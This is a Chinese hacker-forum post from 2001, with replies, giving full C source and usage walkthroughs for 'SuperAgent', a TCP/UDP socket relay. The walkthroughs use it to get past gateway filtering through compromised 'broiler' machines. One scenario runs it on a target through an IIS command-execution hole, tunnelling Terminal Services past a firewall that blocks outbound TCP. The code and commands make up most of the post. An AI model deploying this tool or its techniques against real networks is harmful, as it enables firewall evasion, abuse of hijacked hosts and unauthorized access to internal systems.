<<第三部分:通过TCP和UDP socket数据转发突破限制>>
OK!我们在第一部分后面提到一种情况,网管在网关设置,把UDP包全部丢弃,限制我们使用QQ。这时候,我们要突破就比较麻烦一点了,不过还是有办法
的,前提是允许TCP数据通过。这样我们可以用TCP和UDP
socket数据转发来突破,为此我写了个小程序来实现此功能,程序代码和注释附在后面。程序名称为SuperAgent,xixi,我们先来看看此程序
的用法:
E:\ >SuperAgent.exe
SuperAgent use for TCP and UDP socket data redird
Power by ey4s<ey...@21cn.com>
2001/6/7
usage: SuperAgent.exe <mode>
[mode]
-t <TargetIP> <TargetTCPPort> <LocalUDPPort>
-u <TargetIP> <TargetUDPPort> <LocalUDPPort> <LocalTCPPort>
此程序有两种工作模式:
<1>工作模式[-t],提供三个参数,目标IP地址,目标监听的TCP端口,和本地监听的UDP端口。
<2>工作模式[-u],提供四个参数,目标IP地址,目标监听的UDP端口,本地监听的UDP端口,本地监听的TCP端口。
OK!如果我们需要顺利的突破网关上QQ,我们需要一台互联网上的肉鸡的协助。假设我们的肉鸡的IP是202.202.202.202,我们的网关的IP
是101.101.101.101,咱的机器在内网的IP为192.168.0.81,腾讯的QQ的服务器的IP是202.104.129.253,监听
的是UDP8000 端口。我们先在肉鸡运行SuperAgent,如下:
E:\>SuperAgent -u 202.104.129.253 8000 4000 1234
OK!Work mode is [u].
Listen TCP 127.0.0.1:1234 ok!
************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
然后在本地运行SuperAgent,如下:
E:\>SuperAgent.exe -t 202.202.202.202 1234 8000
OK!Work mode is [t].
************OK!SuperAgent working now**************
Bind UDP port 8000 ok.
Wait for UDP socket have data to be recv.
然后启动QQ,把服务器地址设置为127.0.0.1,端口8000,上线。怎么样?虽然网管封杀了全部UDP包,但我们还是可以上QQ了吧?哈哈哈哈~不过这样QQ收发信息都是通过服务器中转的,呵呵。
OK!我来解释一下流程。
<1>肉鸡运行SuperAgen.exet后,监听TCP 1234端口,然后阻塞,直到本地运行的SuperAgent.exe连接上来。
<2>本地运行SuperAgent.exe后,监听UDP 8000端口,伪装成QQ的服务器,阻塞,直到QQ连接上来。
<3>QQ请求上线,发送数据到我们伪装的QQ Server 127.0.0.1:8000。
<4>本地运行的SuperAgent.exe收到QQ发送过来的UDP数据后,连接到肉鸡监听的TCP 1234端口
<5>本地的SuperAgent把UDP数据通过TCP socket发送到肉鸡
<6>肉鸡接收到本地发送来的TCP数据后,通过UDP socket转发到真正的QQ Server
<7>肉鸡接收真正的QQ Server发送回来的数据后,通过TCP socket发送到本地的TCP socket
<8>本地的TCP socket接收到肉鸡发送过来的TCP socket数据后,通过UDP socket转发到QQ
<9>重复5-8步骤
嗯!我表达的好像很不清楚。:((没有办法啦,水平有限的很,各位将就吧,呵呵。
OK!第一种情况是允许TCP数据通过,封闭所有UDP数据。我们来看第二种情况,封闭所有TCP数据,只允许UDP数据。这时候可能有人要问:要是
TCP和UDP数据都不让通过,那怎么办?呵呵,TCP和UDP全部禁止,这叫网关吗?真这样的话,我们还是洗洗回家睡觉吧,呵呵。不过如果ICMP允许
的话,可以用ICMP来转发的,呵呵。
继续说第二种情况的解决办法。我们还是利用SuperAgent这个程序来达到我们的目的,当然少不了一台互联网上的肉鸡的协助了。
我们先在本地运行:
E:\>SuperAgent.exe -u 202.202.202.202 5000 6000 6667
OK!Work mode is [u].
Listen TCP 127.0.0.1:6667 ok!
************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
202.202.202.202是肉鸡的IP,5000是肉鸡监听的UDP端口,6000是本地用来于肉鸡通讯的UDP端口,这个可以随便填,最后面那个
6667 是本地监听的TCP端口,这个也可以随便填,一会儿在HIRC里面设置服务器里面填为和这个一致就可以了。
然后我们在肉鸡上这样运行:
E:\>SuperAgent.exe -t 202.109.72.40 6667 5000
OK!Work mode is [t].
************OK!SuperAgent working now**************
Bind UDP port 5000 ok.
Wait for UDP socket have data to be recv.
202.109.72.40是irc.sunnet.org的IP,6667是他监听的TCP
端口,这是真正的IRC服务器。5000是肉鸡监听的UDP端口。
OK!启动HIRC,服务器地址填上127.0.0.1:6667,上线了吧?哈哈。
工作流程:
<1>本地SuperAgent监听TCP 6667端口,阻塞,直到HIRC连接上来
<2>肉鸡SuperAgent监听UDP 5000端口,阻塞,直到本地的SuperAgent有数据发送过来
<3>HIRC连接到本地伪装的IRC Server的TCP6667
<4>本地SuperAgent接收到HIRC发送来的TCP数据后,通过UDP socket转发到肉鸡监听的UDP socket
<5>肉鸡监听的UDP socket接收到本地发送过来的数据后,连接到真正的IRC Server的TCP
端口,然后通过TCP socket把数据发送到IRC server
<6>肉鸡接收IRC Server返回的TCP 数据,通过UDP socket转发到本地的UDP
<7>本地接收到UDP数据后,通过TCP socket转发到HIRC
<8>重复4-7,第5步连接到IRC Server的TCP 端口的不重复
用TCP和UDP
socket数据转发有时候也可以用来突破防火墙的。不知道各位看过我写的<<突破TCP-IP过滤-防火墙进入内网>>没有?
其实这个程序的利用可以说是这个系列的第三。这个思路早就有的,而且程序当时也写出来过,不过很苯,现在的是经过优化的版本。当然,我水平实在太菜,程序
还是写的很烂,请各位多指教。
OK!我们来看看这种情况。以下是网络拓朴图:
假设:[其实这样情况我遇到过,但没有以下说的复杂而已]
202.2.2.2是我们授权入侵的目标,前面的FireWall的过虑规则是只允许外面访问202.2.2.2的80,不允许202.2.2.2TCP
连接出去,UDP数据包不做过滤。经过我们检测发现202.2.2.2的IIS有漏洞,我们可以通过80执行命令,而且打开了TermService服
务,登录验证漏洞没有补。但是由于有FW的阻挡,所以我们是连接不上目标的TermService来取得admin
权限的。而且FW不允许TCP反向连接,这样,我们只能通过UDP和TCP
socket数据转发来达到目的了。[实际上我遇到的情况是允许TCP反向连接,详细情况见<<突破TCP-IP过滤-防火墙进入内网
(二)>>,在我的主页上]
OK!这次我们不需要肉鸡的协助了,呵呵。我们先在本机192.168.0.2上运行:
E:\>SuperAgent.exe -u 202.2.2.2 5000 6000 3389
OK!Work mode is [u].
Listen TCP 127.0.0.1:3389 ok!
************OK!SuperAgent working now**************
Wait for ey4s connect to me......:)
202.2.2.2是目标的IP,5000是目标IP监听的UDP端口,6000是本地监听的UDP端口,3389是本地监听TCP端口,伪装成TermService
然后我们在目标上通过80运行SuperAgent.exe -t 127.0.0.1 3389
5000,参数就不用解释了吧。我来说说工作流程:
<1>本地监听TCP 3389端口,阻塞,知道TermClient连接上来
<2>在目标机器上监听UDP 5000端口,阻塞,直到有UDP数据发送过来
<3>用TermClient连接本地的3389
<4>本地的SuperAgent把从TermClient接收到的TCP数据,通过UDP socket发送到目标的UDP
<5>目标的UDP socket接收到数据后,连接到本地的TCP 3389,真正的TermService
<6>目标把接收到的UDP数据通过TCP socket转发给TermSerivice
<7>目标接收TermService返回的TCP数据,通过UDP socket发送到攻击者的UDP
<8>本地的UDP socket接收到目标UDP发送过来的数据后,通过TCP socket转发给TermClient
<9>重复4,6,7,8
OK!启动TermClient,连接本地的3389,出来的是防火墙后面的目标的终端服务的界面吧?哈哈哈哈。
OK!SuperAgent的完整的C程序代码如下,我加了很多注释,别嫌偶烦哦,写的烂,请多指教:))
/******************************************************************************
Module:SuperAgent.c
Author:ey4s<ey...@21cn.com>
Date:2001/6/6
用途:<1>在网关封闭了所有UDP数据包的情况下,通过TCP socket来转发数据,可以用来上QQ
<2>在网关封闭了所有TCP数据包的情况下,通过UDP socket来转发数据,可以用来上IRC
<3>在防火墙禁止了TCP往外的连接的情况下,通过UDP socket来转发数据,可以绕过FW
这个版本只能供单用户使用,稍微修改就可以供多用户同时使用,我偷懒:)))有兴趣的
人自己去修改吧,呵呵。BTW:不高兴去设置发送,接收,连接等的超时了,反正自己
测试用还行,hoho~_*
******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#define BuffSize 20*1024 //缓冲区大小20k
///////////////////////////////////////////////////////////////////////////////////////
/*如果模式为t,那么此地址结构是UDP Client的地址,此地址在接收到UDP Client数据后填充
如果模式为u,那么此地址结构为Target的地址*/
struct sockaddr_in UDPRecv;
BOOL bUDPRecvOK=FALSE;//上面的数据填充与否的标志
///////////////////////////////////////////////////////////////////////////////////////
//显示错误信息函数
void ShowError(char *);
//从TCP socket接收数据,通过UDP socket发送出去
DWORD WINAPI T2URedird(LPVOID);
//从UDP socket接收数据,通过TCP socket发送出去
DWORD WINAPI U2TRedird(LPVOID);
//帮助信息函数
void usage(char *);
///////////////////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
int iRet;
BOOL bT;//此值为TRUE表示工作在t模式,为FALSE表示工作在u模式
char szTargetIP[40]={0};
int iLocalTCPPort,iLocalUDPPort,iTargetPort;
struct sockaddr_in UDPLocal,TCPLocal,Target;
SOCKET sListen,s[2];//s[0]=>UDP socket s[1]=>TCP socket
HANDLE hThread[2]={NULL,NULL};
DWORD dwThreadID,dwRet;
WSADATA wsd;
//判断参数个数
if((argc<5) || (argc>6))
{
usage(argv[0]);
return 1;
}
/*取得参数*/
//目标ip
strncpy(szTargetIP,argv[2],sizeof(szTargetIP)-1);
//目标端口,模式为t为tcp port,模式为u则为udp port
iTargetPort=atoi(argv[3]);
//本地监听的udp port
iLocalUDPPort=atoi(argv[4]);
//判断模式
if(strcmp(argv[1],"-t")==0) bT=TRUE;
else if(strcmp(argv[1],"-u")==0)
{
bT=FALSE;
//本地监听的TCP port
iLocalTCPPort=atoi(argv[5]);
}
else
{
printf("\nmode error.");
usage(argv[0]);
return 1;
}
printf("\nOK!Work mode is [%c].",argv[1][1]);
//load winsock library
if(WSAStartup(MAKEWORD(1,1),&wsd)!=0)
{
ShowError("WSAStartup");
return 1;
}
//监听本地UDP port的地址结构
UDPLocal.sin_family=AF_INET;
UDPLocal.sin_addr.s_addr=INADDR_ANY;
UDPLocal.sin_port=htons(iLocalUDPPort);
//目标地址结构
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(szTargetIP);
Target.sin_port=htons(iTargetPort);
//如果工作在u模式的话,监听一个TCP port等待客户连接
if(bT==FALSE)
{
//创建一个TCP socket
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
ShowError("\nCreate TCP socket");
WSACleanup();
return 1;
}
//监听本地TCP port的地址结构
TCPLocal.sin_family=AF_INET;
TCPLocal.sin_port=htons(iLocalTCPPort);
TCPLocal.sin_addr.s_addr=htonl(INADDR_ANY);
//bind socket
iRet=bind(sListen,(SOCKADDR *)&TCPLocal,sizeof(TCPLocal));
if(iRet!=0)
{
ShowError("bind TCP port");
closesocket(sListen);
WSACleanup();
return 1;
}
//listen socket
if(listen(sListen,1)==SOCKET_ERROR)
{
ShowError("listen");
closesocket(sListen);
WSACleanup();
return 1;
}
UDPRecv.sin_family=Target.sin_family;
UDPRecv.sin_addr=Target.sin_addr;
UDPRecv.sin_port=Target.sin_port;
bUDPRecvOK=TRUE;
printf("\nListen TCP 127.0.0.1:%d ok!",iLocalTCPPort);
}
//开始循环
while(1)
{
__try
{
printf("\n\n************OK!SuperAgent working
now**************\n\n");
//如果工作模式是U的话,accept阻塞直到有客户连接
if(bT==FALSE)
{
struct sockaddr_in addr;
int iSize=sizeof(addr);
//阻塞到客户连接
printf("\nWait for ey4s connect to me......:)");
s[1]=accept(sListen,(struct sockaddr *)&addr,&iSize);
if(s[1]==INVALID_SOCKET)
{
ShowError("accept");
__leave;
}
printf("\nAccept ey4s %s:%d connect to
me.",inet_ntoa(addr.sin_addr),ntohs(addr.sin_port));
}
//创建一个UDP socket
s[0]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(s[0]==INVALID_SOCKET)
{
ShowError("\nCreate UDP socket");
__leave;
}
//bind UDP socket
iRet=bind(s[0],(struct sockaddr
*)&UDPLocal,sizeof(UDPLocal));
if(iRet==SOCKET_ERROR)
{
printf("\nBind UDP port %d
failed.",iLocalUDPPort);
__leave;
}
else
printf("\nBind UDP port %d ok.",iLocalUDPPort);
//如果工作模式是T的话,用select阻塞直到UDP socket有数据可读
//然后才TCP connect到Target监听的TCP Port
if(bT==TRUE)
{
fd_set fdRead;
int ret=-1;
printf("\nWait for UDP socket have data
to be recv.");
FD_ZERO(&fdRead);
FD_SET(s[0],&fdRead);
if((ret=select(0,&fdRead,NULL,NULL,NULL))==SOCKET_ERROR)
{
ShowError("select");
__leave;
}
if((ret<=0) || (!FD_ISSET(s[0],&fdRead)))
{
ShowError("select");
__leave;
}
printf("\nOK!UDP socket active now.");
//创建一个TCP socket
s[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s[1]==INVALID_SOCKET)
{
ShowError("\nCreate TCP socket");
__leave;
}
//connect to Target
while(1)
{
iRet=connect(s[1],(SOCKADDR *)&Target,sizeof(Target));
if(iRet!=0)
{
printf("\nConnect to Target TCP
%s:%d failed.Wait for try again.",szTargetIP,iTargetPort);
Sleep(1000);
}
else
{
printf("\nConnent to Target TCP
%s:%d ok.",szTargetIP,iTargetPort);
break;
}
}
}
//创建两个线程进行数据转发,双工
hThread[0]=CreateThread(NULL,0,T2URedird,(LPVOID)s,0,&dwThreadID);
if(hThread[0]==NULL)
{
ShowError("create thread 1");
__leave;
}
hThread[1]=CreateThread(NULL,0,U2TRedird,(LPVOID)s,0,&dwThreadID);
if(hThread[1]==NULL)
{
ShowError("create thread 2");
__leave;
}
//等待两个线程中的其中一个结束,一个线程结束后立即中断另一个线程
dwRet=WaitForMultipleObjects(2,hThread,FALSE,INFINITE);
if(dwRet==WAIT_FAILED)
{
ShowError("WaitForMultipleObjects");
__leave;
}
if((dwRet-WAIT_OBJECT_0)==0)
TerminateThread(hThread[1],1);
else
TerminateThread(hThread[0],1);
}//end of try
__finally
{
if(s[0]!=INVALID_SOCKET) closesocket(s[0]);
if(s[1]!=INVALID_SOCKET) closesocket(s[1]);
if(hThread[0]!=NULL) CloseHandle(hThread[0]);
if(hThread[1]!=NULL) CloseHandle(hThread[1]);
}//end of finally
printf("\n\n**************OK!SuperAgent shutdown
now******************\n\n");
Sleep(1);
}//end of while
if(sListen!=INVALID_SOCKET) closesocket(sListen);
WSACleanup();
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////
void usage(char *name)
{
printf("\nSuperAgent use for TCP and UDP socket
data redird"
"\nPower by ey4s<ey...@21cn.com>"
"\nhttp://eyas.3322.net"
"\n2001/6/7"
"\n\nusage: %s <mode>"
"\n[mode]"
"\n\t-t <TargetIP> <TargetTCPPort> <LocalUDPPort>"
"\n\t-u <TargetIP> <TargetUDPPort>
<LocalUDPPort> <LocalTCPPort>\n",name);
}
///////////////////////////////////////////////////////////////////////////////////////
void ShowError(char *msg)
{
printf("\n%s failed:%d",msg,GetLastError());
}
///////////////////////////////////////////////////////////////////////////////////////
//
//从sock[1]=>TCP socket读
//往sock[0]=>UDP socket写
//
DWORD WINAPI T2URedird(SOCKET *sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iUDPRepeat=3,//UDP发送失败后重复的次数
iSTBCS=0;//STBCS=SendToBuffCurrentSize
char szSendTo[BuffSize]={0},
szRecvFrom[BuffSize]={0};
fd_set fdread,fdwrite;
DWORD dwThreadID=GetCurrentThreadId();
//开始一个循环来转发数据
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[1],&fdread);
FD_SET(sock[0],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
ShowError("select");
break;
}
if(ret>0)
{
//sock[1]可读
if(FD_ISSET(sock[1],&fdread))
{
//接收sock[1]发送来的数据
iRet=recv(sock[1],szRecvFrom,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
ShowError("recv");
break;
}
else if(iRet==0)
break;
printf("\nTCP Thread %d recv %d
bytes.",dwThreadID,iRet);
//把从sock[0]接收到的数据存添加到sock[1]的缓冲区
memcpy(szSendTo+iSTBCS,szRecvFrom,iRet);
//刷新sock[1]的数据缓冲区当前buff大小
iSTBCS+=iRet;
//清空接收sock[0]数据的缓冲区
memset(szRecvFrom,0,BuffSize);
}
//sock[0]可写,把从cRecvFrom接收到的数据发送到sock[0]
if(FD_ISSET(sock[0],&fdwrite))
{
iLeft=iSTBCS;
idx=0;
while(iLeft>0)
{
iRet=sendto(sock[0],&szSendTo[idx],iLeft,0,(SOCKADDR
*)&UDPRecv,sizeof(UDPRecv));
if(iRet==SOCKET_ERROR)
{
ShowError("sendto");
//重复发送次数自减一
if((iUDPRepeat--)==0)
break;
printf("\nTry %d times to
send.",iUDPRepeat);
continue;
}
printf("\nUDP Thread %d sendto %s:%d
%d bytes.",
dwThreadID,inet_ntoa(UDPRecv.sin_addr),ntohs(UDPRecv.sin_port),iRet);
iLeft-=iRet;
idx+=iRet;
}
if(iLeft==0)
{
//清空缓冲区
memset(szSendTo,0,BuffSize);
//重置发往target的数据缓冲区当前buff大小
iSTBCS=0;
}
}
}//end of select
Sleep(1);
}//end of while
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////
//
//往sock[1],TCP socket写
//从sock[0],UDP socket读
//
DWORD WINAPI U2TRedird(SOCKET *sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTBCS=0;//STBCS=SendToBuffCurrentSize
char szSendTo[BuffSize]={0},
szRecvFrom[BuffSize]={0};
fd_set fdread,fdwrite;
DWORD dwThreadID=GetCurrentThreadId();
struct sockaddr_in from;
DWORD dwSize=sizeof(from);
//开始一个循环来转发数据
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
ShowError("select");
break;
}
if(ret>0)
{
//sock[0]可读
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]发送来的数据
iRet=recvfrom(sock[0],szRecvFrom,BuffSize,0,(SOCKADDR
*)&from,&dwSize);
if(iRet==SOCKET_ERROR)
{
ShowError("recvfrom");
break;
}
else if(iRet==0)
break;
if(bUDPRecvOK!=TRUE)
{
UDPRecv.sin_family=AF_INET;
UDPRecv.sin_addr=from.sin_addr;
UDPRecv.sin_port=from.sin_port;
bUDPRecvOK=TRUE;
}
printf("\nUDP Thread %d recvfrom %s:%d
%d bytes.",
dwThreadID,inet_ntoa(from.sin_addr),ntohs(from.sin_port),iRet);
//把从sock[0]接收到的数据存添加到sock[1]的缓冲区
memcpy(szSendTo+iSTBCS,szRecvFrom,iRet);
//刷新sock[1]的数据缓冲区当前buff大小
iSTBCS+=iRet;
//清空接收sock[0]数据的缓冲区
memset(szRecvFrom,0,BuffSize);
}
//sock[1]可写,把从sock[0]接收到的数据发送到sock[1]
if(FD_ISSET(sock[1],&fdwrite))
{
iLeft=iSTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendTo[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
ShowError("send");
break;
}
printf("\nTCP Thread %d send %d
bytes.",dwThreadID,iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendTo,0,BuffSize);
//重置发往target的数据缓冲区当前buff大小
iSTBCS=0;
}
}//end of select
Sleep(1);
}//end of while
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////
程序在VC++6.0,Windows2k上编译通过,编译好的版本在http://eyas.3322.net有下载。
好了,废话说了一大堆,终于写完了,各位骂我可以,但请别拿西红柿,臭鸡蛋之类的物体砸偶才是,呵呵:)))
前方啊 没有方向
身上啊 没有了衣裳
鲜血啊 渗出了翅膀
我的眼泪 湿透了胸膛
孤独的雏鹰飞翔着 强忍着伤
--------------------------------------------------------------------------------
回应人: boyren 发表日期: 2001-06-13 00:39:37
看地爽!!!
我们可以欺骗别人
却无法欺瞒自己
当我们走向枝繁叶茂的月 ( ,,,,
青春就不在是一个谜 / '
; |@@-/
向上的路 ) |c D
总是坎坷又崎岖 '====u |
要永远保持最初的浪漫 \-/'.
真是不容易 |_ \
|U \\
有人悲哀 (__,//
有人欣喜 |. \/
当我们跨越了一座高山 LL__I
也就是跨越了一个真实自己 |||
|||
,,-``'\
我将于2001年6月30日离开南航
--------------------------------------------------------------------------------
回应人: inportb 发表日期: 2001-06-13 11:09:11
俺正在想研究QQ的数据格式,
封UDP太弱啦!那样多少网络游戏同时也。。。。完啦!
--------------------------------------------------------------------------------
回应人: 巴黎王子 发表日期: 2001-06-20 13:49:05
我这才知道什么叫条条大道通骡马!一条路走不通,可以换另一条,直着走不行,可以绕着走,呵呵!谢谢楼顶的大虾了!